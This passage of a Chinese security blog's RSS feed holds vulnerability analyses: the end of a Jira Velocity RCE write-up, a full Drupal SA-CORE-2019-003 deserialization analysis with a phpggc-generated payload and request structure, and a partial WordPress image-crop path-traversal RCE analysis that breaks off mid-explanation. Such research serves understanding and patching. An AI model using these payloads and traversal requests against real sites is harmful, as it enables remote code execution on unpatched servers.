&lt;p&gt;Velocity渲染引擎首先磁盘加载模板文件到内存，然后解析模板模板文件为AST结构，并对AST中每个节点进行初始化，第二次加载同一个模板文件时候如果开启了缓存则直接返回模板资源，通过使用资源缓存节省了从磁盘加载并重新解析为AST的开销。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;而&lt;code&gt;ASTMethod.execute()&lt;/code&gt;方法设计之初是在&lt;code&gt;Velocity parse&lt;/code&gt;解析模板的过程中，通过反射调用相关方法完成正常模板渲染动作，例如获取背景颜色、获取text内容、获取页面编码等，但当此处攻击者传入精心构造的数据后，利用反射执行了&lt;code&gt;java.lang.Runtime.getRuntime&lt;/code&gt;，成功达到命令执行的目的，漏洞利用十分精巧。&lt;/p&gt;

&lt;h3 id=&#34;参考&#34;&gt;参考&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href=&#34;https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html&#34;&gt;https://confluence.atlassian.com/jira/jira-security-advisory-2019-07-10-973486595.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/atlas-debug/&#34;&gt;https://developer.atlassian.com/server/framework/atlassian-sdk/atlas-debug/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/&#34;&gt;https://developer.atlassian.com/server/framework/atlassian-sdk/create-a-helloworld-plugin-project/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&#34;http://ifeve.com/velocity%E5%8E%9F%E7%90%86%E6%8E%A2%E7%A9%B6/&#34;&gt;http://ifeve.com/velocity%E5%8E%9F%E7%90%86%E6%8E%A2%E7%A9%B6/&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
    </item>
    
    <item>
      <title>SA-CORE-2019-003 Drupal 内核远程代码执行漏洞分析</title>
      <link>https://kylingit.com/blog/sa-core-2019-003-drupal-%E5%86%85%E6%A0%B8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Fri, 22 Feb 2019 22:19:04 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/sa-core-2019-003-drupal-%E5%86%85%E6%A0%B8%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;&lt;a href=&#34;https://www.drupal.org/sa-core-2019-003&#34;&gt;https://www.drupal.org/sa-core-2019-003&lt;/a&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x02-影响版本&#34;&gt;0x02 影响版本&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Drupal 8.6.x &amp;lt; 8.6.10&lt;/li&gt;
&lt;li&gt;Drupal 8.5.x &amp;lt; 8.5.11&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;影响条件&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;站点启用了&lt;code&gt;Drupal 8&lt;/code&gt;核心&lt;code&gt;RESTful&lt;/code&gt; Web服务&lt;code&gt;(rest)&lt;/code&gt;模块，并允许&lt;code&gt;PATCH&lt;/code&gt;或&lt;code&gt;POST&lt;/code&gt;请求&lt;/li&gt;
&lt;li&gt;站点启用了另一个&lt;code&gt;Web&lt;/code&gt;服务模块，如&lt;code&gt;Drupal 8&lt;/code&gt;中的&lt;code&gt;JSON:API&lt;/code&gt;，或&lt;code&gt;Drupal 7&lt;/code&gt;中的&lt;code&gt;Services&lt;/code&gt;或&lt;code&gt;RESTful Web Services&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;0x03-web-services&#34;&gt;0x03 Web Services&lt;/h3&gt;

&lt;p&gt;Drupal框架的&lt;code&gt;RESTful&lt;/code&gt; Web服务是为了更方便地访问Drupal站点的资源，支持常规的api请求，如GET / POST / PATCH / DELETE（出于一些原因不支持PUT ）&lt;/p&gt;

&lt;p&gt;更详细的介绍可以参考 &lt;a href=&#34;https://www.drupal.org/docs/8/core/modules/rest/overview&#34;&gt;https://www.drupal.org/docs/8/core/modules/rest/overview&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这个漏洞影响REST Web Services，所以首先在Drupal 8中开启rest服务&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;下载&lt;a href=&#34;https://www.drupal.org/project/restui&#34;&gt;REST UI&lt;/a&gt;并解压至&lt;code&gt;core/modules/&lt;/code&gt;目录&lt;/li&gt;
&lt;li&gt;在&lt;code&gt;admin-config-extend&lt;/code&gt;勾选Web services中的&lt;code&gt;RESTful Web Services&lt;/code&gt;和&lt;code&gt;REST UI&lt;/code&gt;并安装，drupal会自动安装&lt;code&gt;Serialization&lt;/code&gt; ，最好也安装&lt;code&gt;HAL&lt;/code&gt;扩展，后续会使用&lt;code&gt;hal_json&lt;/code&gt;数据格式&lt;/li&gt;
&lt;/ol&gt;

&lt;blockquote&gt;
&lt;p&gt;HAL(Hypertext Application Language)是一个简单的API数据格式.它以xml和json为基础，让API变的可读性更高，并且具有discoverable的特性.当我们拿到HAL API返回的数据时，我们将会很容易根据当前数据查找与其相关的数据。在Micro Service API设计中，倾向于采用HAL这种类型的数据交换格式.&lt;/p&gt;

&lt;p&gt;HAL的出现，主要弥补plain json在API交互中的不足.让plain json更具有描述性，更具有导航性.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;ol&gt;
&lt;li&gt;开启权限。在&lt;code&gt;admin-config-services-rest&lt;/code&gt;开启匿名用户注册权限&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222161612.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;0x04-漏洞分析&#34;&gt;0x04 漏洞分析&lt;/h3&gt;

&lt;p&gt;根据补丁位置判断漏洞点在&lt;code&gt;unserialize&lt;/code&gt;部分，因此这是一个反序列化漏洞。补丁主要修复了&lt;code&gt;core/modules/link/src/Plugin/Field/FieldType/LinkItem.php&lt;/code&gt;和&lt;code&gt;core/lib/Drupal/Core/Field/Plugin/Field/FieldType/MapItem.php&lt;/code&gt;两个文件，这两处应该都是能触发的，这里选择&lt;code&gt;LinkItem&lt;/code&gt;进行分析&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222160822.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222160859.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;看一下&lt;code&gt;setValue()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222161825.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;可以看到简单判断了&lt;code&gt;$values[&#39;options&#39;]&lt;/code&gt;后直接进行了反序列化，没有进行数据合法性校验，如果能够控制&lt;code&gt;$values[&#39;options&#39;]&lt;/code&gt;就能直接触发漏洞&lt;/p&gt;

&lt;p&gt;接下来梳理一下数据传递过程，以及如何进入到&lt;code&gt;setValue()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;通过rest接口注册用户时，发送的数据包类似这个样子&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222164151.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;(图片来源：&lt;a href=&#34;https://areatype.com/blog/register-user-drupal-8-rest-api&#34;&gt;https://areatype.com/blog/register-user-drupal-8-rest-api&lt;/a&gt;)&lt;/p&gt;

&lt;p&gt;在进入&lt;code&gt;drupal&lt;/code&gt;后，由&lt;code&gt;RequestHandler-&amp;gt;handle()&lt;/code&gt;方法处理请求，进入&lt;code&gt;deserialize()&lt;/code&gt;方法，然后调用&lt;code&gt;$this-&amp;gt;serializer-&amp;gt;denormalize()&lt;/code&gt;反序列化出相应的类，此时的&lt;code&gt;$unserialized&lt;/code&gt;为&lt;code&gt;Serializer&lt;/code&gt;类&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222171019.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222171158.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;随后调用&lt;code&gt;Serializer-&amp;gt;denormalize()&lt;/code&gt;方法，在该方法中首先通过&lt;code&gt;getDenormalizer()&lt;/code&gt;获得一个匹配的&lt;code&gt;denormalizer&lt;/code&gt;，才能进行后续的&lt;code&gt;denormalize()&lt;/code&gt;操作，匹配的过程则是和当前类的&lt;code&gt;supportedInterfaceOrClass&lt;/code&gt;变量比较，返回最终可以进行&lt;code&gt;denormalize()&lt;/code&gt;操作的类&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;if ($normalizer = $this-&amp;gt;getDenormalizer($data, $type, $format, $context)) {
    return $normalizer-&amp;gt;denormalize($data, $type, $format, $context);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;此处跟入比较深，可以略过，总之返回匹配的类是&lt;code&gt;ContentEntityNormalizer&lt;/code&gt;，跟进它的&lt;code&gt;denormalize()&lt;/code&gt;方法&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$typed_data_ids = $this-&amp;gt;getTypedDataIds($data[&#39;_links&#39;][&#39;type&#39;], $context);
$entity_type = $this-&amp;gt;getEntityTypeDefinition($typed_data_ids[&#39;entity_type&#39;]);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;这个方法中根据 &lt;code&gt;_links.type&lt;/code&gt; 的值取出&lt;code&gt;typed data IDs&lt;/code&gt;，&lt;code&gt;_links.type&lt;/code&gt; 值即是&lt;code&gt;post json&lt;/code&gt;部分的
&lt;code&gt;&amp;quot;type&amp;quot;: {
      &amp;quot;href&amp;quot;: &amp;quot;http://127.0.0.1/drupal-8.6.5/rest/type/user/user&amp;quot;
}&lt;/code&gt;
      值，这个值决定了后面获取到的&lt;code&gt;Entity&lt;/code&gt;实体，通过&lt;code&gt;getTypeInternalIds()&lt;/code&gt;方法取出所有预定义的类型并返回相应的&lt;code&gt;URI&lt;/code&gt;，然后才获取对应的实体类型定义&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190222173004.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接着会调用这个实体的&lt;code&gt;denormalizeFieldData()&lt;/code&gt;方法，在&lt;code&gt;denormalizeFieldData()&lt;/code&gt;中调用相应的&lt;code&gt;denormalize()&lt;/code&gt;方法，最终调用到这个&lt;code&gt;field_item&lt;/code&gt;的&lt;code&gt;setValue()&lt;/code&gt;。因此为了触发到存在漏洞的&lt;code&gt;setValue()&lt;/code&gt;，我们需要让&lt;code&gt;field_item&lt;/code&gt;为&lt;code&gt;LinkItem&lt;/code&gt;类或者&lt;code&gt;MapItem&lt;/code&gt;类，这个赋值过程在获取到相应实体后的&lt;code&gt;getStorage()-&amp;gt;create()&lt;/code&gt;过程：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;$entity = $this-&amp;gt;entityManager-&amp;gt;getStorage($typed_data_ids[&#39;entity_type&#39;])-&amp;gt;create($values);
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;调用流程&lt;code&gt;create()-&amp;gt;doCreate()-&amp;gt;initFieldValues()&lt;/code&gt;，此时的调用栈是这样的：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190223102241.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;现在的问题就是找到相应的&lt;code&gt;Entity&lt;/code&gt;，在其中实体化了&lt;code&gt;LinkItem&lt;/code&gt;类或&lt;code&gt;MapItem&lt;/code&gt;类，通过查找，在&lt;code&gt;core/modules&lt;/code&gt;中这样的类有两个，&lt;code&gt;Shortcut&lt;/code&gt;和&lt;code&gt;MenuLinkContent&lt;/code&gt;，这里选择&lt;code&gt;MenuLinkContent&lt;/code&gt;来触发，此时的&lt;code&gt;_links.type&lt;/code&gt;为&lt;code&gt;http://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_conten&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190223103404.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;因此最后的数据包类似这个样子，注意&lt;code&gt;link&lt;/code&gt;必须为数组&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;{
  &amp;quot;link&amp;quot;: [
    {
      &amp;quot;options&amp;quot;: payload
    }
  ],
  &amp;quot;_links&amp;quot;: {
    &amp;quot;type&amp;quot;: {
      &amp;quot;href&amp;quot;: &amp;quot;http://127.0.0.1/drupal-8.6.5/rest/type/menu_link_content/menu_link_content&amp;quot;
    }
  }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;发送数据包成功触发到&lt;code&gt;setValue()&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190223103837.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;接下来就是寻找内置的风险类了，进入&lt;code&gt;setValue()&lt;/code&gt;后通过&lt;code&gt;unserialize()&lt;/code&gt;执行代码。&lt;/p&gt;

&lt;h3 id=&#34;0x05-poc&#34;&gt;0x05 PoC&lt;/h3&gt;

&lt;p&gt;在之前介绍&lt;code&gt;phpggc&lt;/code&gt;工具的时候总结了&lt;code&gt;Drupal&lt;/code&gt;中存在风险的三个类，分别可以导致远程代码执行、任意文件写入和任意文件删除，这三个类分别是&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;FnStream&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FileCookieJar&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;WindowsPipes&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;具体参考：&lt;a href=&#34;https://kylingit.com/blog/由phpggc理解php反序列化漏洞/&#34;&gt;由phpggc理解php反序列化漏洞&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;同样地，借助&lt;code&gt;phpggc&lt;/code&gt;直接生成序列化数据：&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-bash&#34;&gt;root@localhost:/opt/phpggc# ./phpggc guzzle/rce1 assert &#39;phpinfo()&#39; -j
&amp;quot;O:24:\&amp;quot;GuzzleHttp\\Psr7\\FnStream\&amp;quot;:2:{s:33:\&amp;quot;\u0000GuzzleHttp\\Psr7\\FnStream\u0000methods\&amp;quot;;a:1:{s:5:\&amp;quot;close\&amp;quot;;a:2:{i:0;O:23:\&amp;quot;GuzzleHttp\\HandlerStack\&amp;quot;:3:{s:32:\&amp;quot;\u0000GuzzleHttp\\HandlerStack\u0000handler\&amp;quot;;s:9:\&amp;quot;phpinfo()\&amp;quot;;s:30:\&amp;quot;\u0000GuzzleHttp\\HandlerStack\u0000stack\&amp;quot;;a:1:{i:0;a:1:{i:0;s:6:\&amp;quot;assert\&amp;quot;;}}s:31:\&amp;quot;\u0000GuzzleHttp\\HandlerStack\u0000cached\&amp;quot;;b:0;}i:1;s:7:\&amp;quot;resolve\&amp;quot;;}}s:9:\&amp;quot;_fn_close\&amp;quot;;a:2:{i:0;r:4;i:1;s:7:\&amp;quot;resolve\&amp;quot;;}}&amp;quot;
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;发送payload&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190223111019.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;注意：&lt;/strong&gt;如果返回码为422且报下面这个错误，尝试在&lt;code&gt;/admin/config/development/performance&lt;/code&gt;点击清除缓存&lt;/p&gt;

&lt;p&gt;&lt;code&gt;{&amp;quot;message&amp;quot;:&amp;quot;Type http:\/\/127.0.0.1\/drupal-8.6.5-1\/rest\/type\/shortcut\/default does not correspond to an entity on this site.&amp;quot;}&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;另外尝试用&lt;code&gt;PoC&lt;/code&gt;脚本利用，每篇文章对应的&lt;code&gt;node id&lt;/code&gt;利用一次就失效了，再次利用需要换一个&lt;code&gt;node id&lt;/code&gt;，暂时没有研究为什么。&lt;/p&gt;

&lt;h3 id=&#34;0x06-总结&#34;&gt;0x06 总结&lt;/h3&gt;

&lt;p&gt;这个漏洞触发点并不复杂，但是调用链相当深，利用条件则是开启了&lt;code&gt;REST Web services&lt;/code&gt;，并且允许用户通过&lt;code&gt;rest api&lt;/code&gt;注册，在一些功能比较齐全的站点或者方便插件调用时可能会开启，影响面减小了不少，但并不影响这依然是个非常巧妙的漏洞，也进一步说明了开发时考虑不周全的话，风险点就在那里，被利用只是时间问题。&lt;/p&gt;

&lt;script&gt;pangu.spacingPage();&lt;/script&gt;
</description>
    </item>
    
    <item>
      <title>Wordpress Image 远程代码执行漏洞分析</title>
      <link>https://kylingit.com/blog/wordpress-image-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</link>
      <pubDate>Thu, 21 Feb 2019 14:45:49 +0000</pubDate>
      
      <guid>https://kylingit.com/blog/wordpress-image-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90/</guid>
      <description>

&lt;script src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/pangu.js&#34;&gt;&lt;/script&gt;

&lt;h3 id=&#34;0x01-概述&#34;&gt;0x01 概述&lt;/h3&gt;

&lt;p&gt;2月20日，RIPS披露了&lt;code&gt;Wordpress&lt;/code&gt;内核&lt;code&gt;Image&lt;/code&gt;模块相关的一个高危漏洞，该漏洞由目录穿越和文件包含组成，最终可导致远程代码执行，目前还没有PoC披露。&lt;/p&gt;

&lt;p&gt;从&lt;code&gt;RIPS&lt;/code&gt;描述的细节来看，漏洞出现在&lt;code&gt;wordpress&lt;/code&gt;编辑图片时，由于没有过滤&lt;code&gt;Post Meta&lt;/code&gt; 值导致可以修改数据库中&lt;code&gt;wp_postmeta&lt;/code&gt;表的任意字段，而在加载本地服务器上的文件时没有对路径进行过滤，导致可以传递目录穿越参数，最终保存图片时可以保存至任意目录。当某个主题include了某目录下的文件时，便可以造成代码执行。&lt;/p&gt;

&lt;h3 id=&#34;0x02-环境搭建&#34;&gt;0x02 环境搭建&lt;/h3&gt;

&lt;p&gt;该漏洞影响&lt;code&gt;4.9.9&lt;/code&gt;版本以下的&lt;code&gt;wordpress&lt;/code&gt;程序，&lt;code&gt;4.9.9&lt;/code&gt;引入了过滤函数，对用户输入的&lt;code&gt;post data&lt;/code&gt;进行了检查，不合法的参数被过滤，主要修改如下图：&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221162810.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;值得注意的是，在安装低版本时，安装过程中会自动更新核心文件，因此旧版本的&lt;code&gt;wp-admin/includes/post.php&lt;/code&gt;会更新至最新版本，所以安装过程中可以删除自动更新相关模块，或者离线安装。&lt;/p&gt;

&lt;h3 id=&#34;0x03-漏洞分析&#34;&gt;0x03 漏洞分析&lt;/h3&gt;

&lt;h4 id=&#34;漏洞一-数据覆盖&#34;&gt;漏洞一：数据覆盖&lt;/h4&gt;

&lt;p&gt;漏洞出现在wordpress媒体库裁剪图片的过程，当我们上传图片到媒体库时，图片会被保存至&lt;code&gt;wp-content/uploads/yyyy/mm&lt;/code&gt;目录，同时会在数据库中wp_postmeta表插入两个值，分别是&lt;code&gt;_wp_attached_file&lt;/code&gt;和&lt;code&gt;_wp_attachment_metadata&lt;/code&gt;，保存了图片位置和属性相关的序列化信息。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221164008.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;当我们修改图片属性（例如修改标题或者说明）的时候，&lt;code&gt;admin-media-Edit more details&lt;/code&gt; 会调用&lt;code&gt;wp-admin/includes/post.php&lt;/code&gt;的&lt;code&gt;edit_post()&lt;/code&gt;方法，该方法的参数全部来自于&lt;code&gt;$_POST&lt;/code&gt;，没有进行过滤&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221163553.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;然后会调用到&lt;code&gt;update_post_meta()&lt;/code&gt;方法，该方法根据&lt;code&gt;$post_ID&lt;/code&gt;修改&lt;code&gt;post meta field&lt;/code&gt;，接着调用&lt;code&gt;update_metadata()&lt;/code&gt;更新&lt;code&gt;meta&lt;/code&gt;数据，完成之后更新&lt;code&gt;post&lt;/code&gt;数据，调用&lt;code&gt;wp_update_post()&lt;/code&gt;方法&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221165642.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;wp_update_post()&lt;/code&gt;方法中，如果&lt;code&gt;post_type=attachment&lt;/code&gt;，则进入&lt;code&gt;wp_insert_attachment()&lt;/code&gt;，接着调用&lt;code&gt;wp_insert_post()&lt;/code&gt;，在&lt;code&gt;wp_insert_post()&lt;/code&gt;方法中判断了&lt;code&gt;meta_input&lt;/code&gt;参数，如果传入了该参数，就遍历数组用来更新&lt;code&gt;post_meta&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221172343.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;进入&lt;code&gt;update_post_meta()&lt;/code&gt;，调用&lt;code&gt;update_metadata()&lt;/code&gt;，在&lt;code&gt;update_metadata()&lt;/code&gt;方法中对数据库进行更新操作，而在整个过程中对键值没有任何过滤，意味着我们可以传入指定的key来设置它的值，调用栈如下图所示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221165806.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;于是构造数据包更新数据库中&lt;code&gt;_wp_attached_file&lt;/code&gt;的值，插入一个包含&lt;code&gt;../&lt;/code&gt;的值，以便在下面触发目录遍历。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221183004.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221174154.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;这是第一个漏洞——通过参数覆盖了数据库数据，在补丁处正是对&lt;code&gt;meta_input&lt;/code&gt;这个参数做了过滤，如果包含则通过对比&lt;code&gt;array&lt;/code&gt;舍弃该参数。&lt;/p&gt;

&lt;h4 id=&#34;漏洞二-目录遍历&#34;&gt;漏洞二：目录遍历&lt;/h4&gt;

&lt;p&gt;接着寻找一个获取&lt;code&gt;_wp_attached_file&lt;/code&gt;的值并进行了文件操作相关的方法。&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;wordpress&lt;/code&gt;的&lt;code&gt;图片裁剪&lt;/code&gt;功能中，有这样的功能：&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;图片存在于&lt;code&gt;wp-content\uploads\yyyy\mm&lt;/code&gt;目录，则从该目录读取图片，修改尺寸后另存为一张图片；&lt;/li&gt;
&lt;li&gt;如果图片在该目录不存在，则通过&lt;strong&gt;本地&lt;/strong&gt;服务器下载该图片，如从&lt;code&gt;http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg&lt;/code&gt;下载，裁剪后重新保存。&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;这个功能是为了方便一些插件动态加载图片时使用。&lt;/p&gt;

&lt;p&gt;然而因为本地读取和通过&lt;code&gt;url&lt;/code&gt;读取的差异性，导致可以构造一个带参数的&lt;code&gt;url&lt;/code&gt;，如&lt;code&gt;http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg?1.png&lt;/code&gt;，在本地读取时会发现找不到&lt;code&gt;admin.jpeg?1.png&lt;/code&gt;，而远程获取时会忽略&lt;code&gt;?&lt;/code&gt;后面的参数部分，照样获取到&lt;code&gt;admin.jpeg&lt;/code&gt;，裁剪后保存。如果构造的url包含路径穿越，例如&lt;code&gt;http://127.0.0.1/wordpress/wp-content/uploads/2019/02/admin.jpeg?../../1/1.png&lt;/code&gt;，&lt;code&gt;wordpress&lt;/code&gt;将裁减后的图片保存至指定的文件夹，当图片包含恶意代码被引用时，就可能造成代码执行。&lt;/p&gt;

&lt;p&gt;图片裁剪功能在&lt;code&gt;wp_crop_image()&lt;/code&gt;方法中，但是该方法不能在页面中触发，需要手动更改相应的&lt;code&gt;action&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;首先在页面裁剪图片，并点击保存&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221233754.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;抓取数据包：&lt;/p&gt;

&lt;pre&gt;&lt;code&gt;action=image-editor&amp;amp;_ajax_nonce=4c354c778b&amp;amp;postid=5&amp;amp;history=%5B%7B%22c%22%3A%7B%22x%22%3A0%2C%22y%22%3A5%2C%22w%22%3A347%2C%22h%22%3A335%7D%7D%5D&amp;amp;target=all&amp;amp;context=edit-attachment&amp;amp;do=save
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;&lt;code&gt;post body&lt;/code&gt;包含了相应的&lt;code&gt;action&lt;/code&gt;和&lt;code&gt;context&lt;/code&gt;，以及供还原文件的历史文件大小，此处需要修改&lt;code&gt;action&lt;/code&gt;为&lt;code&gt;crop-image&lt;/code&gt;以便触发&lt;code&gt;wp_crop_image()&lt;/code&gt;方法，相关调用如下&lt;/p&gt;

&lt;p&gt;在&lt;code&gt;wp-admin/admin-ajax.php&lt;/code&gt;定义了裁剪图片的操作&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221180906.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;判断了用户权限和&lt;code&gt;action&lt;/code&gt;名称后调用&lt;code&gt;do_action&lt;/code&gt;，最终在&lt;code&gt;apply_filters()&lt;/code&gt;中进入&lt;code&gt;wp_crop_image()&lt;/code&gt;:&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221181053.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221181232.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;进入&lt;code&gt;wp_ajax_crop_image()&lt;/code&gt;方法，在这个方法中进行了多项判断，全部符合才能进入裁剪图片方法，如下图注释所示&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;https://blog-1252261399.cos-website.ap-beijing.myqcloud.com/images/20190221181644.png&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;

&lt;p&gt;首先计算&lt;code&gt;nonce&lt;/code&gt;和&lt;code&gt;expected&lt;/code&gt;值并对比，如果不一致就验证不通过，相关方法是&lt;code&gt;check_ajax_referer()&lt;/code&gt;&amp;ndash;&amp;gt;&lt;code&gt;wp_verify_nonce()&lt;/code&gt;。注意到传入&lt;code&gt;check_ajax_referer()&lt;/code&gt;的&lt;code&gt;$attachment_id&lt;/code&gt;参数，该参数取自&lt;code&gt;$_POST[&#39;id&#39;]&lt;/code&gt;，并参与后面的&lt;code&gt;expected&lt;/code&gt;计算，因此当我们直接更改&lt;code&gt;action=crop-image&lt;/code&gt;是无法通过校验的，需要传入&lt;code&gt;id&lt;/code&gt;的，即为&lt;code&gt;postid&lt;/code&gt;的值。&lt;/p&gt;

